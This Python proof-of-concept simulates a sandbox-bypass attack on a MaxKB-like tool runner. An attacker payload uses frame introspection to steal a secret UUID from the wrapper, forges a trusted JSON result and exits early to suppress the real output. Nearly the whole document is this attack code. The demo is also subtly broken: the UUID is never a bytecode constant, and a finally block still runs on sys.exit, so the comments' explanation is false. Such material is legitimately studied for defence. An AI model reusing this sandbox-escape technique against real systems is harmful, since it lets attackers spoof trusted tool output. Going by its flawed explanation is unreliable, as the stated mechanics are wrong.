Vulnerable code sample

import sys
import os
import inspect
import json
import uuid
import subprocess
import base64
import io

# This single script simulates the entire vulnerable environment for demonstration.
# It includes:
# 1. The main "MaxKB" service process.
# 2. The vulnerable "wrapper" script that MaxKB uses to run tools.
# 3. The malicious payload submitted by the attacker.

# -- Part 1: The Malicious Payload ---------------------------------------------
# This is the code an authenticated attacker would submit to be executed by the
# vulnerable wrapper.
malicious_code_payload = """
import sys
import os
import inspect
import json

print("Malicious code is now running inside the sandbox...")

try:
    # Step 1: Use frame introspection to find the caller's frame.
    # The current frame is this payload, the caller (f_back) is the wrapper.
    wrapper_frame = inspect.currentframe().f_back

    # Step 2: Read the wrapper's bytecode constants to find the secret UUID.
    # The UUID is used by the wrapper to validate the final output.
    # We assume it's a 36-char string constant.
    secret_uuid = None
    for const in wrapper_frame.f_code.co_consts:
        if isinstance(const, str) and len(const) == 36:
            secret_uuid = const
            break

    if secret_uuid:
        print(f"Successfully stole secret UUID from wrapper: {secret_uuid}")

        # Step 3: Forge a malicious result, including the stolen UUID.
        spoofed_data = {
            "result": "All your files have been encrypted.",
            "status": "success"
        }
        forged_output_json = {
            "uuid": secret_uuid,
            "tool_output": spoofed_data
        }
        forged_output_str = json.dumps(forged_output_json) + "\\n"

        # Step 4: Write the forged result directly to file descriptor 1.
        # This bypasses the wrapper's redirection of `sys.stdout` and writes
        # directly to the underlying process's standard output.
        print("Writing forged result directly to file descriptor 1...")
        os.write(1, forged_output_str.encode('utf-8'))

        # Step 5: Terminate the script immediately.
        # This stops the wrapper from ever reaching its own code that prints
        # the legitimate (and safe) tool output.
        print("Exiting immediately to prevent legitimate output.")
        sys.exit(0)
    else:
        print("Could not find secret UUID in wrapper frame.", file=sys.stderr)

except Exception as e:
    # Write errors to the original stderr for debugging.
    os.write(2, f"Malicious payload failed: {e}".encode('utf-8'))
    sys.exit(1)
"""

# -- Part 2: The Vulnerable Wrapper Script -------------------------------------
# This is the code for the wrapper that would be saved as a separate file
# and executed by the main service. For this demo, it's a string.
vulnerable_wrapper_script = """
import sys
import os
import io
import json
import base64

def run_sandboxed_tool(user_code_b64, task_uuid):
    '''
    This function represents the vulnerable sandboxed environment.
    '''
    # This is the legitimate output the tool is supposed to generate.
    legitimate_result = {"result": "Calculator tool ran successfully.", "status": "success"}

    # --- The Flawed Sandbox Implementation ---
    # 1. Redirect stdout to capture the tool's output.
    original_stdout = sys.stdout
    sys.stdout = captured_output = io.StringIO()

    try:
        # 2. Execute the user-provided code.
        #    If the code is the malicious payload, it will hijack the
        #    process and exit before this `exec` completes or the `finally`
        #    block is fully executed.
        user_code = base64.b64decode(user_code_b64).decode('utf-8')
        exec(user_code, {})

    finally:
        # 3. This block is supposed to run regardless, to format and print
        #    the final, trusted output. The attacker's sys.exit(0) prevents this.
        sys.stdout = original_stdout # Restore stdout
        
        # This line will not be reached if the attack is successful.
        print("Wrapper 'finally' block is running...", file=sys.stderr)

        tool_output_str = captured_output.getvalue()
        
        # If the tool generated valid JSON, use it, otherwise use the default.
        try:
            final_output = json.loads(tool_output_str)
        except (json.JSONDecodeError, TypeError):
            final_output = legitimate_result

        # 4. Construct the final JSON with the secret UUID and print it.
        validated_json = {
            "uuid": task_uuid,
            "tool_output": final_output
        }
        print(json.dumps(validated_json))


if __name__ == '__main__':
    # The wrapper is called with the base64-encoded code and the UUID.
    code_arg = sys.argv[1]
    uuid_arg = sys.argv[2]
    run_sandboxed_tool(code_arg, uuid_arg)
"""

# -- Part 3: The Main "MaxKB" Service Process ---------------------------------
def main_service_process():
    """
    Simulates the main MaxKB service that orchestrates the tool execution.
    """
    print("--- MaxKB Service Simulation ---")
    print("Received a request to execute a tool with the following code:")
    print("----------------------------------------------------")
    print(malicious_code_payload.strip())
    print("----------------------------------------------------")

    # 1. Generate a unique ID for this execution. This is the "secret".
    task_uuid = str(uuid.uuid4())
    print(f"\n[Service] Generated secret execution UUID: {task_uuid}")

    # 2. Base64-encode the payload to pass it as a command-line argument.
    encoded_payload = base64.b64encode(malicious_code_payload.encode('utf-8')).decode('utf-8')

    # 3. Prepare to run the vulnerable wrapper in a subprocess.
    #    We save the wrapper script to a temporary file to execute it.
    wrapper_filename = "vulnerable_wrapper.py"
    with open(wrapper_filename, "w") as f:
        f.write(vulnerable_wrapper_script)

    command = [sys.executable, wrapper_filename, encoded_payload, task_uuid]

    print(f"[Service] Executing sandboxed tool via: {' '.join(command[:2])} ...")

    # 4. Execute the wrapper and capture its stdout.
    #    The attacker's goal is to make their forged output appear here.
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    stdout, stderr = process.communicate()

    # Clean up the temporary script file
    os.remove(wrapper_filename)

    print("\n[Service] Subprocess finished. Analyzing output...")
    if stderr:
        print("[Service] Received the following on stderr:")
        print(stderr.strip())

    print("\n[Service] Received the following on stdout:")
    print(stdout.strip())

    # 5. The service now validates the result.
    #    It trusts any valid JSON output as long as it contains the correct UUID.
    try:
        result_data = json.loads(stdout)
        if "uuid" in result_data and result_data["uuid"] == task_uuid:
            print("\n--- VULNERABILITY DEMONSTRATED ---")
            print("[Service] SUCCESS: UUID matches. Accepting the result.")
            print(f"[Service] The tool's reported result is: {result_data['tool_output']}")
        else:
            print("\n--- FAILED VALIDATION ---")
            print("[Service] ERROR: UUID does not match or is missing. Rejecting result.")

    except json.JSONDecodeError:
        print("\n--- FAILED VALIDATION ---")
        print("[Service] ERROR: Output was not valid JSON. Rejecting result.")


if __name__ == "__main__":
    main_service_process()